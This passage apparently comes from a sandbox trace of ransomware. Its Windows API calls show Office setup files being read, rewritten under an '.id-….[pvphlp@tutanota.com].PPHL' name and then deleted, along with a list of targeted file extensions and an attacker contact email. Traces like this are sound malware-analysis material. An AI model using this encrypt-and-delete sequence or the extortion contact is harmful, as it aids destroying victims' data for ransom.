[0069.639] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0069.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0069.639] lstrlenW (lpString=".jpg") returned 4 [0069.639] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0069.639] lstrcmpiW (lpString1=".CHM", lpString2=".PPHL") returned -1 [0069.639] lstrlenW (lpString="PSS10O.CHM") returned 10 [0069.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0069.640] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=26929) returned 1 [0069.640] CloseHandle (hObject=0x1f0) returned 1 [0069.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0069.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0069.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0069.640] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.640] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0069.641] GetLastError () returned 0x0 [0069.641] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x6931, lpOverlapped=0x0) returned 1 [0069.644] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x6940, lpOverlapped=0x0) returned 1 [0069.645] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0069.645] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0069.645] SetEndOfFile (hFile=0x20c) returned 1 [0069.646] CloseHandle (hObject=0x20c) returned 1 [0069.647] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.647] SetEndOfFile (hFile=0x1f0) returned 1 [0069.648] CloseHandle (hObject=0x1f0) returned 1 [0069.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0069.649] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0069.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0069.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0069.649] lstrlenW (lpString=".doc") returned 4 [0069.649] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0069.649] lstrlenW (lpString=".docx") returned 5 [0069.649] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0069.649] lstrlenW (lpString=".pdf") returned 4 [0069.649] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0069.649] lstrlenW (lpString=".xls") returned 4 [0069.649] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0069.649] lstrlenW (lpString=".xlsx") returned 5 [0069.649] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0069.649] lstrlenW (lpString=".ppt") returned 4 [0069.649] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0069.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0069.650] lstrlenW (lpString=".zip") returned 4 [0069.650] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0069.650] lstrlenW (lpString=".rar") returned 4 [0069.650] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0069.650] lstrlenW (lpString=".bz2") returned 4 [0069.650] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0069.650] lstrlenW (lpString=".7z") returned 3 [0069.650] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0069.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0069.650] lstrlenW (lpString=".dbf") returned 4 [0069.650] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0069.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0069.650] lstrlenW (lpString=".1cd") returned 4 [0069.650] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0069.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0069.650] lstrlenW (lpString=".jpg") returned 4 [0069.650] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0069.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0069.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0069.650] lstrlenW (lpString=".doc") returned 4 [0069.650] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0069.650] lstrlenW (lpString=".docx") returned 5 [0069.650] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0069.650] lstrlenW (lpString=".pdf") returned 4 [0069.650] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0069.650] lstrlenW (lpString=".xls") returned 4 [0069.650] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0069.650] lstrlenW (lpString=".xlsx") returned 5 [0069.651] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0069.651] lstrlenW (lpString=".ppt") returned 4 [0069.651] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0069.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0069.651] lstrlenW (lpString=".zip") returned 4 [0069.651] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0069.651] lstrlenW (lpString=".rar") returned 4 [0069.651] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0069.651] lstrlenW (lpString=".bz2") returned 4 [0069.651] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0069.900] lstrlenW (lpString=".7z") returned 3 [0069.900] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0069.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0069.900] lstrlenW (lpString=".dbf") returned 4 [0069.900] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0069.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0069.900] lstrlenW (lpString=".1cd") returned 4 [0069.900] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0069.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0069.900] lstrlenW (lpString=".jpg") returned 4 [0069.900] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0069.901] lstrcmpiW (lpString1=".CHM", lpString2=".PPHL") returned -1 [0069.901] lstrlenW (lpString="SETUP.CHM") returned 9 [0069.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0070.884] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=67190) returned 1 [0070.884] CloseHandle (hObject=0x1e8) returned 1 [0070.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0070.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0070.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0070.884] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0070.884] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0070.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0070.885] GetLastError () returned 0x0 [0070.885] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x10676, lpOverlapped=0x0) returned 1 [0071.036] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x10680, lpOverlapped=0x0) returned 1 [0071.038] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0071.038] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0071.038] SetEndOfFile (hFile=0x18c) returned 1 [0071.039] CloseHandle (hObject=0x18c) returned 1 [0071.040] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.040] SetEndOfFile (hFile=0x1e8) returned 1 [0071.042] CloseHandle (hObject=0x1e8) returned 1 [0071.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0071.042] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0071.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0071.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0071.042] lstrlenW (lpString=".doc") returned 4 [0071.042] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0071.042] lstrlenW (lpString=".docx") returned 5 [0071.042] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0071.042] lstrlenW (lpString=".pdf") returned 4 [0071.042] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0071.042] lstrlenW (lpString=".xls") returned 4 [0071.042] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0071.042] lstrlenW (lpString=".xlsx") returned 5 [0071.042] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0071.042] lstrlenW (lpString=".ppt") returned 4 [0071.042] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0071.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0071.043] lstrlenW (lpString=".zip") returned 4 [0071.043] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0071.043] lstrlenW (lpString=".rar") returned 4 [0071.043] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0071.043] lstrlenW (lpString=".bz2") returned 4 [0071.043] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0071.043] lstrlenW (lpString=".7z") returned 3 [0071.043] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0071.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0071.043] lstrlenW (lpString=".dbf") returned 4 [0071.043] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0071.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0071.043] lstrlenW (lpString=".1cd") returned 4 [0071.043] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0071.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0071.043] lstrlenW (lpString=".jpg") returned 4 [0071.043] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0071.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0071.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0071.043] lstrlenW (lpString=".doc") returned 4 [0071.043] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0071.043] lstrlenW (lpString=".docx") returned 5 [0071.043] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0071.043] lstrlenW (lpString=".pdf") returned 4 [0071.043] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0071.043] lstrlenW (lpString=".xls") returned 4 [0071.043] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0071.043] lstrlenW (lpString=".xlsx") returned 5 [0071.043] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0071.043] lstrlenW (lpString=".ppt") returned 4 [0071.043] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0071.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0071.044] lstrlenW (lpString=".zip") returned 4 [0071.044] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0071.044] lstrlenW (lpString=".rar") returned 4 [0071.044] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0071.044] lstrlenW (lpString=".bz2") returned 4 [0071.044] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0071.044] lstrlenW (lpString=".7z") returned 3 [0071.044] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0071.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0071.044] lstrlenW (lpString=".dbf") returned 4 [0071.044] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0071.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0071.044] lstrlenW (lpString=".1cd") returned 4 [0071.044] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0071.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0071.044] lstrlenW (lpString=".jpg") returned 4 [0071.044] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0071.044] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0071.044] lstrlenW (lpString="SETUP.XML") returned 9 [0071.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.044] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=9352) returned 1 [0071.045] CloseHandle (hObject=0x1e8) returned 1 [0071.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0071.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0071.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.045] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.045] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0071.045] GetLastError () returned 0x0 [0071.045] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x2488, lpOverlapped=0x0) returned 1 [0071.074] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x2490, lpOverlapped=0x0) returned 1 [0071.075] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0071.076] WriteFile (in: hFile=0x18c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0071.076] SetEndOfFile (hFile=0x18c) returned 1 [0071.076] CloseHandle (hObject=0x18c) returned 1 [0071.077] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.077] SetEndOfFile (hFile=0x1e8) returned 1 [0071.078] CloseHandle (hObject=0x1e8) returned 1 [0071.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0071.078] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0071.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0071.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0071.078] lstrlenW (lpString=".doc") returned 4 [0071.078] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.078] lstrlenW (lpString=".docx") returned 5 [0071.078] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0071.078] lstrlenW (lpString=".pdf") returned 4 [0071.078] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.078] lstrlenW (lpString=".xls") returned 4 [0071.078] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.078] lstrlenW (lpString=".xlsx") returned 5 [0071.078] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0071.078] lstrlenW (lpString=".ppt") returned 4 [0071.078] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0071.079] lstrlenW (lpString=".zip") returned 4 [0071.079] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.079] lstrlenW (lpString=".rar") returned 4 [0071.079] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.079] lstrlenW (lpString=".bz2") returned 4 [0071.079] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.079] lstrlenW (lpString=".7z") returned 3 [0071.079] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0071.079] lstrlenW (lpString=".dbf") returned 4 [0071.079] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0071.079] lstrlenW (lpString=".1cd") returned 4 [0071.079] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0071.079] lstrlenW (lpString=".jpg") returned 4 [0071.079] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0071.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0071.079] lstrlenW (lpString=".doc") returned 4 [0071.079] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.079] lstrlenW (lpString=".docx") returned 5 [0071.079] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0071.079] lstrlenW (lpString=".pdf") returned 4 [0071.079] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.079] lstrlenW (lpString=".xls") returned 4 [0071.079] lstrcmpiW 